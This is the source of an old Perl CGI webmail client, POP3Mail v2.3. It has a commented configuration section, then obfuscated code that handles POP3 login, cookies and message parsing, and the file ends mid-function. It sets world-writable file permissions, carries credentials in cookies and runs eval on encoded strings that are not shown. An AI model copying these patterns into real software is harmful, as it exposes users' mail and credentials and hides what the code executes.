#!/usr/bin/perl
#!c:/perl/bin/perl.exe
# The above line may need to be changed to reflect the location of
# the perl interpreter on your system.  Use "which perl" on a Unix system
# to make a noble attempt to locate your perl interpreter.  If you are
# installing this on an NT IIS server then you probably do not need to
# modify this line because it will most likely be ignored.  Apache under
# NT generally DOES require the top line to be configured.  We have provided
# two common paths above as examples, only the top line will be used, the
# second line is just there to provide an example.

############################################################################
# POP3Mail, Standard Edition, version 2.3
#
# Copyright (c) 2000, Indian Magic. All rights reserved.
############################################################################

package mailman;

# Enable these while you are working on modifications.  Make absolutely
# certain that 'use strict' is NOT enabled in production installations.
# CGI.pm and 'use strict' are not compatible, if you have 'use strict'
# enabled then your users will not be able to upload files because CGI.pm
# provides uploaded files using a bizarre on-the-fly file handle that will
# cause an error if you have 'use strict' enabled.  We think that this is
# ugly too, but there is no way around it at the moment.
#use strict;
#$^W = 1; # Warnings.

# Version information that might find its way into output.
$mailman::strPOP3MailVersion = 'v2.3';
$mailman::strPOP3MailEdition = 'Standard Edition';

# Variable initialization.  Clean and neat and all, but very necessary
# for mod_perl.
InitializeVars();

############################################################################
# This section contains a few variables that you might need to set  in order
# to get POP3Mail functioning properly.  If your installation is working,
# then you don't need to worry about any of these.
############################################################################

# Location Attachments
# When a user selects an attachment from a message for downloading,
# POP3Mail generates that attachment on-the-fly and sends it through the
# HTTP server to the user's browser.  POP3Mail includes the necessary
# HTTP header information for the user's browser to determine the
# file name, but many broswers, most notably Microsoft's Internet
# Explorer, either ignore these headers or just don't handle them
# very well.  The result is that when a user downloads an attachment,
# your browser may present the user with a "Save As" box with the
# file name filled in as the name of this script, a string or random
# characters, or any number of other un-graceful things.  We think that
# the best solution to this problem would be for browser makers to
# pay attention to HTTP headers, but until then we provide a mechanism
# for working around the problem.  If you set up a directory that is
# writable by POP3Mail and readable by your web server, then POP3Mail
# will write out the attachment file to that directory temporarily,
# and redirect the user's browser to that file.  When the user logs
# in or out POP3Mail will ensure that the user's files in this
# temporary directory are removed.  A user that exits POP3Mail without
# logging out and never logs back in could potentially leave stale
# attachment files on the server, so occasional monitoring of the
# temporary directory for stale files would be appropriate.  Also note
# that this mechanism could be considered a privacy problem since a
# user's attachments are deposited temporarily into a world-readable
# directory rather than generated on-the-fly the way POP3Mail normally
# would do.  We have left the decision up to each individual
# administrator as to whether or not to use this feature.  Most people
# seem to prefer allowing POP3Mail to generate attachments on-the-fly
# for simplicity, ease of administration, and security/privacy, but
# some people think that the attachment file name thing is a critical
# issue.  The decision is yours.
# To use this feature, create a directory that is readable by your
# web server and writable by the user that POP3Mail runs as.  Set
# $mailman::strLocalLocationAttachments to the local path name of 
# this directory, for instance
# $mailman::strLocalLocationAttachments = '/public_html/attachtmp/';
# Then set $mailman::strURLLocationAttachments to the URL location
# of this directory, for instance
# $mailman::strURLLocationAttachments = '/attachtmp/';
# Note the terminal slashes at the end, those are necessary.  Just
# set and uncomment the following lines to use this feature:
#$mailman::strLocalLocationAttachments = 'c:/www/public_html/pop3mail/tmp/';
#$mailman::strURLLocationAttachments = '/pop3mail/tmp/';

# Local File Permissions
# Use this if you want to modify the permissions that files and
# directories created by POP3Mail use.  This will only make much sense
# to Unix and Unix-like operating systems.  If this value is not set,
# nothing will happen.  This should be an octal integer as in the
# example below, not a string.
# This value will only matter if you set
# $mailman::strLocalLocationAttachments and 
# $mailman::strURLLocationAttachments, of course.
$mailman::iLocalFilePermissions = 0666;

# Local Directory Permissions
# Same as above, used for directories created by POP3Mail.
# This value will only matter if you set
# $mailman::strLocalLocationAttachments and 
# $mailman::strURLLocationAttachments, of course.
$mailman::iLocalDirectoryPermissions = 0777;

# Outgoing Banner Text
# This is the banner that is appended to the end of any message that
# this POP3Mail installation sends.  One reason why this is one of the
# first configuration options is because we want to make it very 
# obvious that you can remove or modify this banner.  Indian Magic places
# no restrictions at all on this banner, so don't worry about leaving
# credit to us in here or anything like that.  Please feel free to 
# change this to whatever you like, or completely remove it.  If this
# value is not defined then it will simply append no banner.
$mailman::strOutgoingBannerText = "Check any POP3 Mail at http://mail.indian-magic.net" ;

# Incoming Mail Server:
# The way that we originally intended to allow people to 'rig' the server
# names for an installation was through simple template modifications, as
# mentioned in the FAQ.  A lot of people have asked about ways to rig the
# server names in the script itself though, so we added this.  We aim to
# please...  If you want to rig your incoming server name so that it makes
# no difference at all what an incoming form specifies, just un-comment
# this line and specify it.
#$mailman::strIncomingServer = 'mail.indian-magic.net';

# Outgoing Mail Server:
# Same deal, different server.
#$mailman::strOutgoingServer = 'mail.indian-magic.net';

# From Domain Name:
# Set this variable to override the domain name that is assumed when a
# user logs in.  For instance, when the user "abcd" logs into the POP3
# server "mail.indian-magic.net", POP3Mail will assume that his address
# is "abcd@mail5.indian-magic.net".  If you set this variable to
# "indian-magic.net", then it will assume that his address is
# "abcd@indian-magic.net" instead.  If the mapping between POP3 user names
# and email addresses is more complicated then you will need to actually
# build your own routines to do the mapping.  
#$mailman::strFromDomainName = "indian-magic.net";

# From Domain Trim:
# If the above option doesn't work for you, you can set this value to
# instruct POP3Mail to trim the machine name when it derives the 'from'
# email address.  The number that you set this to represents the total
# number of names to shear off of the left-hand side of the machine
# name.  For instance, if the user's POP3 server name is
# "mail.abcd.indian-magic.net", and you set this value to 0, the default,
# then when the user composes a message POP3Mail will guess
# "username@mail.abcd.indian-magic.net" as the 'from' address.  If you set
# this value to 1 then it will guess "username@abcd.indian-magic.net", if
# you set it to 2 then it will guess "username@indian-magic.net", etc.  This
# can be helpful if you have a number of different virtual domains
# and you want the email address to be inferred dynamically, rather
# than by hard-coding it with the "From Domain Name" configuration value.
#$mailman::iFromDomainTrim = 1;

# Outgoing Domain Name:
# When a user specifies a recipient name without full domain qualification
# ("abcd" instead of "abcd@indian-magic.net", for example) then the SMTP server
# should provide configuration rules for determining how to deal with this
# mail.  It should not be the responsibility of the mail client to fill in
# a complete address.  We have had many requests for a feature to allow 
# an administrator to specify a default domain name, however, and we aim
# to please.  This configuration variable is the result.  If you want
# POP3Mail to assume a default domain name when it is given an incomplete
# address, uncomment this line and set it to your domain name.  We strongly
# recommend against this, however, you should be looking into your SMTP
# server's configuration options and not using this feature.
#$mailman::strOutgoingDomainName = indian-magic.net';

# Messages Per Page:
# This value controls the number of messages returned per page in a
# message list.  Adjust it if you like.
$mailman::iMessagesPerPage = 20;

# Local Template Location:
# If you have a web server that sets the current directory to something
# strange, you can set this to an absolute path to make it easier to
# allow POP3Mail to find the templates.  Just set this variable to an
# absolute path like "C\:\\inetpub\\wwwroot\\pop3mail\\templates\\"
# or '/usr/home/indian-magic/pop3mail/' or whatever.  Note the final slash, that's
# important.  If you leave it out then things won't work.  If you need
# to set this value, then un-comment the following line:
#$mailman::strLocalTemplateLocation = "D:/inetpub/wwwroot/indian-magic/products/pop3mail/";
$mailman::strLocalTemplateLocation = "/home/sites/site6/web/pop3mail/";

# Local Script Location:
# If your server is one of the ones that causes problems that require the
# above value to be set, then you might also need to set this value.  In
# most cases your script location and your template location will be 
# identical, but if you move your templates to a different directory than
# your script for whatever reason, then you will need to set this.  If you
# have no idea what I'm talking about, you should probably just leave this.
#$mailman::strLocalScriptLocation = $mailman::strLocalTemplateLocation;
$mailman::strLocalScriptLocation = "/home/sites/site6/web/";

# URL Image Location:
# Use this to rig the URLs that will be used to access the images that
# the templates point to.  This value will be prepended to any value in
# the templates of the form ""i_*.gif"" (including the inner quotes).
# If you have customized your templates and your own custom images are
# not showing up in POP3Mail's output, it is probably because the custom
# images that you are using are not named "i_*.gif".
# To use this variable, set it to the exact value that you want prepended
# to image names in order to make them into URLs that will point to your
# image directory.  For instance, if you bury your images in an "images"
# directory under the directory where POP3Mail is installed, set this to
# 'images/' (with the slash).  If you put your images in a completely
# different directory, something that is rooted, like '/pop3mail/images/'
# might be what you are looking for.  In the most extreme cases you can
# do away with relative URLs entirely and provide a complete absolute URL
# like the one below
#$mailman::strURLImageLocation = 'http://www.indian-magic.net/pop3mail/';

# Use Perl 'alarm()' function:
# Set this to true if your Perl interpreter supports "alarm".  As of this
# Writing, NT Perl does not.  If this is not set, POP3Mail will not be able
# to timeout when a server hangs.  The OSSettings() routine will attempt
# to set this variable, but you can override it here if you want.
# The point of the "alarm" feature as used in POP3Mail is to allow POP3Mail
# to detect when a mail server has not responded within a reasonable
# amount of time.  If your server's Perl interpreter does not support
# "alarm", then POP3Mail will still work, but if a mail server ever does
# not respond then the user will get no feedback to that effect.
#$mailman::bUseAlarm = 1;

# Timeout Duration:
# The aforementioned timeout delay.  Set this to something else to modify
# how long POP3Mail will sit around waiting for a mail server to respond.
# Only works if $mailman::bUseAlarm is set to something.
$mailman::iTimeoutDurationInSeconds = 180;

# Use Perl 'crypt()' function:
# Some Perl impelentations apparently do not support the crypt() function.
# We have never seen one, and there are plenty of implementations out there
# that you should be able to find a good one, but we try to accomodate
# anyway.  Comment out this line if your Perl implementation is breaking
# on the crypt() function.  Be warned that if you do this your users'
# usernames and passwords will be less obfuscated than they were before,
# which admittedly wasn't much.  This is a good place to repeat the 
# suggestion that POP3Mail is an excellent candidate for SSL and other
# fancy HTTP security mechanisms.
#$mailman::bUseCrypt = 1;

# Use Hijack Test:
# POP3Mail performs a test to determine if the current session has been
# hijacked by a different user from a different address.  On a few 
# systems this will not work because of the configuration.  If your
# POP3Mail installation sits behind a cluster of caching proxy servers
# for load balancing, for instance.  If you want to disable the hijack
# checking functionality, just comment out this line.
#$mailman::bUseHijackTest = 1;

# Kiosk Mode:
# If you are using POP3Mail in a kiosk environment, it will generally
# be possible for a user to use a combination of "BACK" and "RELOAD" in
# the kiosk web browser to intrude backwards into the mail sessions of
# previous users.  If you set this value then POP3Mail will operate in
# kiosk mode, which means that when a user logs in, POP3Mail will create
# a new browser window with that user's session.  If the user logs out
# then that window will close, and the user's history information will
# go with the window so that intrusions with "BACK" and "RELOAD" aren't
# possible.  We recommend against using this feature for installations
# that are not kiosk-based because it relies on Javascript and cookies,
# which does not leave users with older browsers with a way in.  If you
# are in a kiosk environment then you have control over the browser an
# that's not a problem.  We strongly recommend against using the
# Microsoft Internet Explorer for kiosk environments because it does not
# properly respect the "Expires:" and "Cache-control:" HTTP headers, so
# IE will cache user mail to the hard drive whether you want it to or
# not.  Microsoft appears to have no interest in fixing this problem.
# IE 4 SP1 pretty consistently crashed during our tests of the 
# full-screen popup window kiosk mode, too, which is likely not exactly
# the behavior that you are looking for in your kiosk browser.
# The kiosk mode feature primarily activates and deactivates sections
# of outbound templates, so if you have customized your templates before
# you decided to use kiosk mode then it is entirely possible that you
# broke this mode by removing vital Javascript.  Consult the
# out-of-the-box template set for examples of the Javascript snippets
# necessary for this mode.
#$mailman::bKioskMode = 1;

############################################################################
# You should not have to configure any values after this line.
############################################################################

use Socket; use FileHandle; my($mma) = new FileHandle(); use CGI;
my($mmb) = new CGI; {  my(@mmc) = $mmb->param; my($mmd) = 0;
for($mmd=0;$mmd<$#mmc+1;$mmd++) { my($mme) = $mmc[$mmd];;
if($mme =~ /^(.+)\.[xy]$/) { my($mmf) = $1; if($mme =~ /^([^\#]+)\#(.*)\.[xy]$/) {
$mmf = $1; $mmb->param($mmf,mmmd($2)); } else {
$mmb->param($mmf,'MAILMANSPECIALTRUE'); } $mmb->delete("${mmf}.x");
$mmb->delete("${mmf}.y"); } else { if($mme =~ /^([^\#]+)\#(.*)$/) {
$mmb->param($1,mmmd($2)); } } } } if($mmb->param('INTERFACE')) {
my(@mmg) = split(/\&/,$mmb->param('INTERFACE')); my($mmh) = '';
foreach $mmh (@mmg) { if($mmh =~ /^([^\=]+)\=(.*)$/) {
$mmb->param($1,mmmd($2)); } }
unless($mmb->param('INTERFACE') =~ /ALTERNATE_TEMPLATES/) {
$mmb->param('ALTERNATE_TEMPLATES',''); } } {
@mailman::mmi = split(/\;/,$ENV{'HTTP_COOKIE'}); my($mmj) = '';
foreach $mailman::mmj (@mailman::mmi) { $mailman::mmk = 1;
if($mailman::mmj =~ /POP3MailAuth\=(\S+)/) { my(@mml) = split(/\&/,$1);
my($mmm) = ''; foreach $mmm (@mml) { $mmm =~ /^(.+)\#(.+)$/; unless($mmb->param($1))
{ $mmb->param($1,$2); } } } } } $mailman::mmn = mmmh($mmb->param('USERNAME'));
$mailman::mmn =~ s/^\s*([^\s]+)\s*$/$1/; 
$mailman::mmo = mmmg($mailman::mmn);
$mailman::mmp = mmmh($mmb->param('PASSWORD'));
$mailman::mmp =~ s/^\s*([^\s]+)\s*$/$1/; 
$mailman::mmq = mmmg($mailman::mmp); unless($mailman::strIncomingServer) {
$mailman::strIncomingServer =  mmmh($mmb->param('SERVER'));
$mailman::strIncomingServer =~ s/^\s*([^\s]+)\s*$/$1/;  }
$mailman::mmr = mmmg($mailman::strIncomingServer);
unless($mailman::strOutgoingServer) {
$mailman::strOutgoingServer = $mmb->param('OUTGOING');
$mailman::strOutgoingServer =~ s/^\s*([^\s]+)\s*$/$1/;  } $mailman::mms = '';
if(defined($mailman::strLocalLocationAttachments) &&
defined($mailman::strURLLocationAttachments)) {
unless($mailman::strLocalLocationAttachments =~ /[\/\\]$/) {
$mailman::strLocalLocationAttachments .= '/'; }
unless($mailman::strURLLocationAttachments =~ /[\/\\]$/) {
$mailman::strURLLocationAttachments .= '/'; } $mailman::mmt =
$mailman::strLocalLocationAttachments . mmmc($mailman::mmn .
'@' . $mailman::strIncomingServer); $mailman::mmu =
$mailman::strURLLocationAttachments . mmmc(
mmmc($mailman::mmn . '@' . $mailman::strIncomingServer));
$mailman::mmv = 1; } $mailman::mmw = mmmb($ENV{SERVER_NAME},42);
$mailman::mmw .= mmmb($ENV{REMOTE_HOST} . $ENV{REMOTE_ADDR},69);
$mailman::mmx = mmmg($mailman::mmw); mmma();
$mailman::mmy = $ENV{SCRIPT_NAME}; unless($mailman::mmy =~ /^\//) {
$mailman::mmy = "/$mailman::mmy"; } $mailman::mmz = $mailman::mmy;
$mailman::mmz =~ s/^(.*[\\\/])[^\\\/]+$/$1/; if($mailman::mmz eq '/') {
$mailman::mmaa = ''; } else { $mailman::mmaa = "path=$mailman::mmz; "; }
sub mmkl { if($mmb->param('NOFRAMES')) { $mailman::mmab = 1; }
if($mmb->param('NOCACHE')) { $mailman::mmac = 1; }
if(defined($mmb->param('ALTERNATE_TEMPLATES'))) { $mailman::mmad = 
$mmb->param('ALTERNATE_TEMPLATES'); } } sub mmkm { my($mmae) = shift;
my(@mmc) = $mmb->param; my($mmd) = 0; for($mmd=0;$mmd<$#mmc+1;$mmd++) {
my($mme) = $mmc[$mmd];; if($mme =~ /^$mmae\:(.*)$/) { return $1; } } return; }
mmkl(); mmkn(); { my($mmj) = '';
@mailman::mmi = split(/\;/,$ENV{'HTTP_COOKIE'});
foreach $mailman::mmj (@mailman::mmi) { if($mailman::mmj =~ /POP3MailCmds\=(\S+)/) {
my($mmaf) = ''; @mailman::mmag = split(/\&/,$1); foreach $mmaf (@mailman::mmag) {
$mmaf =~ /^(.+)\#(.+)$/; unless($mmb->param($1)) { $mmb->param($1,$2); } } } } }
mmkl(); mmkn(); mmkq();
sub mmkn { my($mmah) = ''; if($mmb->param('BLANK')) {
mmlz('t_blank.htm'); } if($mmb->param('MENU')) {
mmlz('t_f_menu.htm'); } if($mmb->param('LOGOUT')) { if($mailman::mmv) {
mmmo(); } if($mailman::bKioskMode) {
print "Set-cookie: POP3MailAuth=;$mailman::mmaa" .
"expires=Sun, 03-May-1998 16:00:00 GMT\n";
print "Set-cookie: POP3MailCmds=;$mailman::mmaa" .
"expires=Sun, 03-May-1998 16:00:00 GMT\n";
print "Set-cookie: POP3MailDir=;$mailman::mmaa" .
"expires=Sun, 03-May-1998 16:00:00 GMT\n"; $mailman::mmn = '';
mmlz('t_closewindow.htm'); } else { mmkq(); } }
if($mmb->param('START')) { mmkq(); } if($mmb->param('LOGIN')) {
my($mmai) = ''; if($mmai = mmks()) { if(defined($mmai)) {
$mmai =~ s/^\-ERR(.*)$/$1/; } $mailman::bKioskMode = 0;
$mailman::mmaj{'GREETING'} = 
"<center><b>Log In Error: </b><i>$mmai</i></center>";
mmlz('t_login.htm',\%mailman::mmaj); }

if(mmle() <= 0){ mmlb(); exit(0); }
 if($mailman::mmv) {
mmmo(); } if($mailman::mmab) { mmkz(); } else {

print eval(mmld($mailman::mhaa[0]));
 } }
if($mailman::bUseHijackTest &&  $mmb->param('CHECKSUM') && 
$mmb->param('CHECKSUM') ne '') {
if(mmmh($mmb->param('CHECKSUM')) ne $mailman::mmw) { mmko(
qq|Your POP3Mail session was initiated from a different network address than\n| .
qq|your current location.  For security reasons, POP3Mail will not continue.\n| .
qq|You must <a href="POP3Mail(ME)?LOGOUT=TRUE" target="_top">log in again</a>\n| .
qq|from this location to continue.\n| ); } } if($mmb->param('RELOAD')) {
if($mailman::mmab) { mmkz(); } else { mmlz('t_f_frameset.htm');
} } if($mmah = mmkm('LIST')) { mmkz($mmah); }
if($mmb->param('LIST')) { mmkz(); }
my($mmak) = $mmb->param('BACKGROUND'); if($mmak) { if($mailman::mmab) {
print "Location: $mmak\n\n"; exit(0); } else { mmky($mmak); } }
if($mmak = $mmb->param('BACKGROUNDFRAME')) {
mmlz('t_backgroundframe.htm'); } if($mmah = mmkm('SHOW')) {
my($mmal) = -1; if($mmah =~ /^(.+)mimepart\:(.+)$/) { $mmal = $1;
$mailman::mmam = $2; $mailman::mmam =~ s/%(..)/pack("c",hex($1))/ge; } else {
$mmal = $mmah; } $mmal = mmmd($mmal); mmlm($mmal,0); }
if($mmah = mmkm('SOURCE')) { my($mmal) = mmmd($mmah);
mmln($mmal); } if($mmah = mmkm('PREV')) {
my($mmal) = mmmd($mmah); mmlm($mmal,-1); }
if($mmah = mmkm('NEXT')) { my($mmal) = mmmd($mmah);
mmlm($mmal,1); } if($mmah = mmkm('DELETE')) {
my($mmai) = mmks(); if($mmai) { mmko($mmai); }
my($mmal) = mmmd($mmah); mmlp($mmal);
mmkr($mma,"QUIT"); close $mma; $mailman::mman = 0; if($mailman::mmab) {
mmkz(); } else { mmlz('t_f_frameset.htm'); } }
if($mmb->param('DELETEMARKED')) { my($mmai) = ''; if($mmai = mmks()) {
mmko($mmai); } my(@mmc) = $mmb->param; my($mmd) = 0;
for($mmd=0;$mmd<$#mmc;$mmd++) { my($mme) = $mmc[$mmd];; if($mme =~ /^MARK\:(.*)$/) {
mmlp(mmmd($1)); } } mmkr($mma,"QUIT"); close $mma;
$mailman::mman = 0; if($mailman::mmab) { mmkz(); } else {
mmlz('t_f_frameset.htm'); } } if($mmah = mmkm('MOVE')) {
my($mmao) =  mmmc($mmb->param('FOLDERTRANSFERLIST'));
if($mmao eq 'MAILMANSPECIALSELECT' || $mmao eq '') { mmkz(); }
my($mmai) = ''; if($mmai = mmks()) { mmko($mmai); }
my($mmal) = mmmd($mmah); if(CopyMessageToFolder($mmal,$mmao)) {
RemoveMessageFromFolder($mmal,'MOVED'); } mmkr($mma,"QUIT"); close $mma;
$mailman::mman = 0; if($mailman::mmab) { mmkz(); } else {
mmlz('t_f_frameset.htm'); } } if($mmb->param('MOVEMARKED')) { my($mmao) =
mmmc($mmb->param('FOLDERTRANSFERLIST'));
if($mmao eq 'MAILMANSPECIALSELECT' || $mmao eq '') { mmkz(); }
my($mmai) = ''; if($mmai = mmks()) { mmko($mmai); }
my(@mmc) = $mmb->param; my($mmd) = 0; for($mmd=0;$mmd<$#mmc;$mmd++) {
my($mme) = $mmc[$mmd];; if($mme =~ /^MARK\:(.*)$/) {
my($mmal) = mmmd($1); if(CopyMessageToFolder($mmal,$mmao)) {
RemoveMessageFromFolder($mmal,'MOVED'); } } } mmkr($mma,"QUIT"); close $mma;
$mailman::mman = 0; if($mailman::mmab) { mmkz(); } else {
mmlz('t_f_frameset.htm'); } } if($mmb->param('NEW')) {
$mmb->param('ATTACH',0); mmlq('NEW',0,0);    }
if($mmb->param('USEATTACH')) { $mmb->param('ATTACH',1); mmlr(''); }
if($mmah = mmkm('REPLY')) { my($mmal) = mmmd($mmah);
mmlq($mmal,0,0); } if($mmah = mmkm('REPLYALL')) {
my($mmal) = mmmd($mmah); mmlq($mmal,1,0); }
if($mmah = mmkm('FORWARD')) { my($mmal) = mmmd($mmah);
mmlq($mmal,0,1); } if($mmb->param('SEND')) { mmlt(); }
if($mmb->param('HELP')) { mmlz('t_help.htm'); } } sub mmko {
my($mmap,$mmaq) =  @_; my($mmar) = ''; if($mmap eq "ALRM") {
if($mailman::bUseAlarm){ alarm(0); } $mmap = $mailman::mmas;
mmkr($mma,"QUIT"); close $mma; } if($mailman::mmab) {
$mmar = 't_nf_error.htm'; } else { $mmar = 't_f_error.htm'; } my(%mmaj);
$mmaj{'ERROR'} = $mmap; mmlz($mmar,\%mmaj); unless($mmaq) { exit(1); } }
sub mmkp { my($mmat) =  @_; my($mmar) = ''; print CGI->multipart_start();
if($mailman::mmab) { $mmar = 't_nf_status.htm'; } else { $mmar = 't_f_status.htm'; }
my(%mmaj); $mmaj{'STATUS'} = $mmat; mmlz($mmar,\%mmaj);
print CGI->multipart_end(); } sub mmkq {
print "Set-cookie: POP3MailAuth=;$mailman::mmaa" .
"expires=Sun, 03-May-1998 16:00:00 GMT\n";
print "Set-cookie: POP3MailCmds=;$mailman::mmaa" .
"expires=Sun, 03-May-1998 16:00:00 GMT\n";
print "Set-cookie: POP3MailDir=;$mailman::mmaa" .
"expires=Sun, 03-May-1998 16:00:00 GMT\n";
print "Expires: Sun, 03 May 1998 16:00:00 GMT\n"; $mailman::mmn = '';
$mailman::mmau = ''; if($mailman::bKioskMode) { my($mmav) = '';
($mailman::mmaj{'GREETING'},$mmav) = mmly('t_login.htm',
('GREETING','KIOSKMODESCRIPT')); $mailman::mmaj{'HTMLCOMMENTBEGIN'} = '<!-- ';
$mailman::mmaj{'HTMLCOMMENTEND'} = ' -->'; $mailman::mmaj{'KIOSKMODESCRIPT'} =
mmlv($mmav,\%mailman::mmaj);
$mailman::mmaj{'HTMLCOMMENTBEGIN'} = ''; $mailman::mmaj{'HTMLCOMMENTEND'} = ''; }
else { $mailman::mmaj{'GREETING'} =
mmlx('t_login.htm','GREETING'); }

print eval(mmld($mailman::mhaa[1]));
 } sub mmkr {
my($mmay) = "\015\012"; my($mmaz, $mmba) = @_; my($mmbb) = length($mmba . $mmay);
syswrite($mmaz,$mmba . $mmay,$mmbb); } sub mmks {
if($mailman::mman){ return; } my($mmbc); unless(defined($mailman::mmn) &&
$mailman::mmn ne '') { return("No username provided, cannot proceed."); }
unless(defined($mailman::mmp) && $mailman::mmp ne '') {
return("No password provided, cannot proceed."); }
unless(defined($mailman::strIncomingServer) && $mailman::strIncomingServer ne '')
{ return("No server provided, cannot proceed."); }
retrylogin: if($mailman::bUseAlarm) { $mailman::mmas =
"Connection to server timed out."; $SIG{'ALRM'} = \&mmko;
alarm($mailman::iTimeoutDurationInSeconds); } my($mmbd) = 0;
$mmbd = getprotobyname('tcp'); socket($mma,PF_INET,SOCK_STREAM,$mmbd);
my($mmbe) = 0; $mmbe = gethostbyname($mailman::strIncomingServer); unless($mmbe) {
return("Could not find an IP address for the host " .
"\"$mailman::strIncomingServer\"."); } my($mmbf) = '';
$mmbf = sockaddr_in(110, $mmbe); unless(connect($mma, $mmbf)) {
return("Could not connect to server " .
"\"$mailman::strIncomingServer\", \"$!\""); } select($mma); $|=1; select(STDOUT);
binmode($mma); $mailman::mmas = "The server connected, but will not respond.";
if($mailman::bUseAlarm){ alarm(180); } unless(<$mma> =~ /^\+OK/) {
return("The server does not respond appropriately."); } $mailman::mmas =
"The server timed out during login."; if($mailman::bUseAlarm){ alarm(180); }
mmkr($mma,"USER $mailman::mmn"); my($mmbg) = ''; $mmbg = <$mma>;
unless($mmbg =~ /^\+OK/) { return($mmbg); } mmkr($mma,"PASS $mailman::mmp");
$mmbg = <$mma>; unless($mmbg =~ /^\+OK/) { if((($mmbg =~ /another session/i) ||
($mmbg =~ /another POP3 session/i) || ($mmbg =~ /mailbox in use/i) ||
($mmbg =~ /unable to lock/i) || ($mmbg =~ /mailbox busy/i)) && $mmbc < 12) {
mmkr($mma,"QUIT"); close $mma; $mmbc++; sleep(5); goto retrylogin; }
return($mmbg); } mmkr($mma,'STAT'); $mmbg = <$mma>;
$mmbg =~ /^\+OK\s+(\d+)\s+/i; $mailman::mmbh = $1; if($mailman::mmbh == 0) {
$mailman::mman = 1; return; } mmkr($mma,"LIST"); $mmbg = <$mma>;
unless($mmbg =~ /^\+OK/) { return($mmbg); } $mailman::mmbh = 0;
while(<$mma> =~ /(\d+) (\d+)/) { $mailman::mmbi[$1] = $2; $mailman::mmbh++; }
$mailman::mman = 1; return; } sub mmkt { my($mmbj) =  @_;
$mailman::mmas = "The server timed out fetching a header.";
if($mailman::bUseAlarm){ alarm(10); } mmkr($mma,"TOP $mmbj 0");
my($mmbg) = ''; $mmbg = <$mma>; unless($mmbg =~ /^\+OK/) { mmko($mmbg); }
mmku($mma); $mailman::mmbk = $mmbj . 'H' . $mailman::mmbl;
$mailman::mmbm = $mmbj; } sub mmku { my($mmaz) = shift;
$mailman::mmbn = ''; $mailman::mmbo = ''; $mailman::mmbp = ''; $mailman::mmbq = '';
$mailman::mmbr = '0'; $mailman::mmbs = ''; $mailman::mmbt = '';
$mailman::mmbl = ''; $mailman::mmbu = 0; $mailman::mmbv = 0; my($mmbw) = 0;
my($mmbx) = 0; my($mmby) = 0; my($mmbz) = 1; my($mmca) = ''; my($mmcb) = -1;
while(defined($_ = <$mmaz>)) { if(/^[\r\n]+$/){ $mmbw = 1; }
if(/^\.[\r\n]*$/){ last; } if(/^Content-type\:\s+([^\;\s]+)[\;\s]/i) {
my($mmcc) = $1; if( ($mmcc !~ /multipart\/alternative/i) && ($mmcc !~ /text\//i)) {
$mailman::mmbv = 1; } } if(/^begin \d\d\d (\S+)\s*$/i) { $mailman::mmbv = 1; }
unless($mmbw) { $mmbz = 1; if(/^To\: (.+)$/i || ((/^\s(.+)$/) && $mmbx)) {
$mailman::mmbn .= $1; $mailman::mmbn =~ s/^(.*)[\r\n]+$/$1/;
$mailman::mmbn = mmkv($mailman::mmbn); $mmca .= $_; $mmbx = 1; $mmby = 0;
$mmbz = 0; } if(/^CC\: (.+)$/i || ((/^\s(.+)$/) && $mmby)) { $mailman::mmbo .= $1;
$mailman::mmbo =~ s/^(.*)[\r\n]+$/$1/;
$mailman::mmbo = mmkv($mailman::mmbo); $mmca .= $_; $mmbx = 0; $mmby = 1;
$mmbz = 0; } if(/^From\: (.+)$/i) { $mailman::mmbp = $1;
$mailman::mmbp =~ s/^(.*)[\r\n]+$/$1/;
$mailman::mmbp = mmkv($mailman::mmbp); $mmca .= $_; }
if(/^Date\: (.+)$/i) { $mailman::mmbq = $1; $mailman::mmbq =~ s/^(.*)[\r\n]+$/$1/;
$mmca .= $_; } if(/^Subject\: (.+)$/i) { $mailman::mmbs = $1;
$mailman::mmbs =~ s/^(.*)[\r\n]+$/$1/;
$mailman::mmbs = mmkv($mailman::mmbs); $mmca .= $_; }
if(/^Reply-To\: (.+)$/i) { $mailman::mmbt = $1;
$mailman::mmbt =~ s/^(.*)[\r\n]+$/$1/; $mmca .= $_; } if(/^Message-ID\: (.+)$/i) {
$mailman::mmbl = $1; $mailman::mmbl =~ s/^(.*)[\r\n]+$/$1/; }        if($mmbz) {
$mmbx = 0; $mmby = 0; } } if(/^MIME-Version\: 1\.0/i) { if(!$mmbw) { $mailman::mmbu = 1;
} } } if($mailman::mmbl eq "") { $mailman::mmbl = $mmca;
while(length($mailman::mmbl)>20) {
$mailman::mmbl = (substr($mailman::mmbl,0,20) ^  substr($mailman::mmbl,20)); }
$mailman::mmbl = pack("u*",$mailman::mmbl); }
$mailman::mmbl =~ s/(\W)/sprintf("%%%x", ord($1))/eg;
unless($mailman::mmbn){ $mailman::mmbn = "Unknown";}
unless($mailman::mmbp){ $mailman::mmbp = "Unknown";}
unless($mailman::mmbq){ $mailman::mmbq = "Unknown";}
unless($mailman::mmbs){ $mailman::mmbs = "Unspecified";}
unless($mailman::mmbk){ $mailman::mmbk = "0";}
$mailman::mmcd = mmkx($mailman::mmbn);
$mailman::mmce = mmkx($mailman::mmbp);
$mailman::mmcf = mmkx($mailman::mmbo);
$mailman::mmcg = mmkx($mailman::mmbs);
$mailman::mmch = mmkx($mailman::mmbq); } sub mmkv { my $mmci = shift;
$mmci =~ s/\=\?iso-8859-1\?q\?([^\?]+)\?\=/
mmlh(mmlg($1))/xeig; $mmci =~
s/\=\?iso-8859-1\?b\?([^\?]+)\?\=/ mmli(mmlg($1))/xeig;
return $mmci; } sub mmkw { my($mmal) = @_; $mmal =~ /^(\d+)H(.+)$/;
my($mmcj) = $1; my($mmck) = $2; if($1 eq '' || $2 eq '') {
mmko('The message ID string "' . $mmal .  '" is badly formed.'); }
$mmck =~ s/%(..)/pack("c",hex($1))/ge; $mailman::mmas =
"The server timed out during message listing.";
if($mailman::bUseAlarm){ alarm(180); } mmkr($mma,"LIST"); my($mmbg) = '';
$mmbg = <$mma>; unless($mmbg =~ /^\+OK/) { mmko($mmbg); } $mailman::mmcl = 0;
while(<$mma> =~ /(\d+) (\d+)/) { $mailman::mmbi[$1] = $2; $mailman::mmcl++; }
my($mmd) = $mmcj; my($mmcm) = 0; while($mmd>0) { mmkt($mmd);
$mailman::mmbl =~ s/%(..)/pack("c",hex($1))/ge; if($mailman::mmbl eq  $mmck) {
$mmcm = 1; last; } $mmd--; } if(!$mmcm) { $mailman::mmbn = ''; $mmd = $mmcj;
mmkt($mmd); } if($mailman::mmbn eq '') {
mmko('Could not find the specified message.'); } return ($mmd); } sub mmkx
{ my($mmcn) = @_; $mmcn =~ s/\&/\&amp\;/g; $mmcn =~ s/\</\&lt\;/g;
